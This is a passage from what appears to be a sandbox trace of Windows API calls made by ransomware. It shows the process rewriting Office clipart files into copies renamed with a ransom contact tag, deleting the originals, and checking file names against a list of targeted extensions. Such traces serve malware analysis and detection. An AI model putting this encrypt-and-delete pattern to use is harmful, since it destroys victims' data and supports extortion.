	[0094.717] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.717] lstrlenW (lpString="HH00636_.WMF") returned 12
	[0094.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0094.717] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1568) returned 1
	[0094.717] CloseHandle (hObject=0x2bc) returned 1
	[0094.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x220
	[0094.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0094.717] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.718] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0094.718] GetLastError () returned 0x0
	[0094.718] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x620, lpOverlapped=0x0) returned 1
	[0094.719] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x630, lpOverlapped=0x0) returned 1
	[0094.720] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.720] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.720] SetEndOfFile (hFile=0x398) returned 1
	[0094.721] CloseHandle (hObject=0x398) returned 1
	[0094.721] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.721] SetEndOfFile (hFile=0x2bc) returned 1
	[0094.722] CloseHandle (hObject=0x2bc) returned 1
	[0094.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 1
	[0094.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0094.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0094.722] lstrlenW (lpString=".doc") returned 4
	[0094.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.722] lstrlenW (lpString=".docx") returned 5
	[0094.722] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.722] lstrlenW (lpString=".pdf") returned 4
	[0094.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.722] lstrlenW (lpString=".xls") returned 4
	[0094.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.722] lstrlenW (lpString=".xlsx") returned 5
	[0094.722] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.722] lstrlenW (lpString=".ppt") returned 4
	[0094.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0094.722] lstrlenW (lpString=".zip") returned 4
	[0094.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.722] lstrlenW (lpString=".rar") returned 4
	[0094.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.722] lstrlenW (lpString=".bz2") returned 4
	[0094.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.723] lstrlenW (lpString=".7z") returned 3
	[0094.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0094.723] lstrlenW (lpString=".dbf") returned 4
	[0094.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0094.723] lstrlenW (lpString=".1cd") returned 4
	[0094.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0094.723] lstrlenW (lpString=".jpg") returned 4
	[0094.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0094.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0094.723] lstrlenW (lpString=".doc") returned 4
	[0094.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.723] lstrlenW (lpString=".docx") returned 5
	[0094.723] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.723] lstrlenW (lpString=".pdf") returned 4
	[0094.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.723] lstrlenW (lpString=".xls") returned 4
	[0094.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.723] lstrlenW (lpString=".xlsx") returned 5
	[0094.723] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.723] lstrlenW (lpString=".ppt") returned 4
	[0094.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0094.723] lstrlenW (lpString=".zip") returned 4
	[0094.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.723] lstrlenW (lpString=".rar") returned 4
	[0094.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.723] lstrlenW (lpString=".bz2") returned 4
	[0094.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.723] lstrlenW (lpString=".7z") returned 3
	[0094.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0094.724] lstrlenW (lpString=".dbf") returned 4
	[0094.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0094.724] lstrlenW (lpString=".1cd") returned 4
	[0094.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68
	[0094.724] lstrlenW (lpString=".jpg") returned 4
	[0094.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.724] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.724] lstrlenW (lpString="HH00669_.WMF") returned 12
	[0094.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0094.725] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11490) returned 1
	[0094.725] CloseHandle (hObject=0x2bc) returned 1
	[0094.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x220
	[0094.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0094.725] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.725] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0094.726] GetLastError () returned 0x0
	[0094.726] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x2ce2, lpOverlapped=0x0) returned 1
	[0094.727] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2cf0, lpOverlapped=0x0) returned 1
	[0094.728] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.728] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.728] SetEndOfFile (hFile=0x398) returned 1
	[0094.728] CloseHandle (hObject=0x398) returned 1
	[0094.728] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.728] SetEndOfFile (hFile=0x2bc) returned 1
	[0094.729] CloseHandle (hObject=0x2bc) returned 1
	[0094.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.729] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 1
	[0094.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0094.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0094.730] lstrlenW (lpString=".doc") returned 4
	[0094.730] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.730] lstrlenW (lpString=".docx") returned 5
	[0094.730] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.730] lstrlenW (lpString=".pdf") returned 4
	[0094.730] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.730] lstrlenW (lpString=".xls") returned 4
	[0094.730] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.730] lstrlenW (lpString=".xlsx") returned 5
	[0094.730] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.730] lstrlenW (lpString=".ppt") returned 4
	[0094.730] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0094.730] lstrlenW (lpString=".zip") returned 4
	[0094.730] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.730] lstrlenW (lpString=".rar") returned 4
	[0094.730] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.730] lstrlenW (lpString=".bz2") returned 4
	[0094.730] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.730] lstrlenW (lpString=".7z") returned 3
	[0094.730] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0094.730] lstrlenW (lpString=".dbf") returned 4
	[0094.730] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0094.730] lstrlenW (lpString=".1cd") returned 4
	[0094.730] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0094.730] lstrlenW (lpString=".jpg") returned 4
	[0094.731] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0094.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0094.731] lstrlenW (lpString=".doc") returned 4
	[0094.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.731] lstrlenW (lpString=".docx") returned 5
	[0094.731] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.731] lstrlenW (lpString=".pdf") returned 4
	[0094.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.731] lstrlenW (lpString=".xls") returned 4
	[0094.731] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.731] lstrlenW (lpString=".xlsx") returned 5
	[0094.731] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.731] lstrlenW (lpString=".ppt") returned 4
	[0094.731] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0094.731] lstrlenW (lpString=".zip") returned 4
	[0094.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.731] lstrlenW (lpString=".rar") returned 4
	[0094.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.731] lstrlenW (lpString=".bz2") returned 4
	[0094.731] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.731] lstrlenW (lpString=".7z") returned 3
	[0094.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0094.731] lstrlenW (lpString=".dbf") returned 4
	[0094.731] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0094.731] lstrlenW (lpString=".1cd") returned 4
	[0094.731] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68
	[0094.731] lstrlenW (lpString=".jpg") returned 4
	[0094.731] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.732] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.732] lstrlenW (lpString="HH00681_.WMF") returned 12
	[0094.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0094.732] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=9300) returned 1
	[0094.732] CloseHandle (hObject=0x2bc) returned 1
	[0094.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x220
	[0094.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0094.732] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.732] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0094.733] GetLastError () returned 0x0
	[0094.733] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x2454, lpOverlapped=0x0) returned 1
	[0094.734] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2460, lpOverlapped=0x0) returned 1
	[0094.735] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.735] WriteFile (in: hFile=0x398, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.735] SetEndOfFile (hFile=0x398) returned 1
	[0094.735] CloseHandle (hObject=0x398) returned 1
	[0094.736] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.736] SetEndOfFile (hFile=0x2bc) returned 1
	[0094.736] CloseHandle (hObject=0x2bc) returned 1
	[0094.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.737] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 1
	[0094.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0094.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0094.737] lstrlenW (lpString=".doc") returned 4
	[0094.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.737] lstrlenW (lpString=".docx") returned 5
	[0094.737] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.737] lstrlenW (lpString=".pdf") returned 4
	[0094.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.737] lstrlenW (lpString=".xls") returned 4
	[0094.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.737] lstrlenW (lpString=".xlsx") returned 5
	[0094.737] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.737] lstrlenW (lpString=".ppt") returned 4
	[0094.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0094.737] lstrlenW (lpString=".zip") returned 4
	[0094.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.737] lstrlenW (lpString=".rar") returned 4
	[0094.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.737] lstrlenW (lpString=".bz2") returned 4
	[0094.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.737] lstrlenW (lpString=".7z") returned 3
	[0094.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0094.737] lstrlenW (lpString=".dbf") returned 4
	[0094.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0094.738] lstrlenW (lpString=".1cd") returned 4
	[0094.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0094.738] lstrlenW (lpString=".jpg") returned 4
	[0094.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0094.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0094.738] lstrlenW (lpString=".doc") returned 4
	[0094.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.738] lstrlenW (lpString=".docx") returned 5
	[0094.738] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.738] lstrlenW (lpString=".pdf") returned 4
	[0094.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.738] lstrlenW (lpString=".xls") returned 4
	[0094.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.738] lstrlenW (lpString=".xlsx") returned 5
	[0094.738] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.738] lstrlenW (lpString=".ppt") returned 4
	[0094.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0094.738] lstrlenW (lpString=".zip") returned 4
	[0094.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.738] lstrlenW (lpString=".rar") returned 4
	[0094.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.738] lstrlenW (lpString=".bz2") returned 4
	[0094.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.738] lstrlenW (lpString=".7z") returned 3
	[0094.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0094.738] lstrlenW (lpString=".dbf") returned 4
	[0094.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68
	[0094.738] lstrlenW (lpString=".1cd") returned 4
	[0094.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
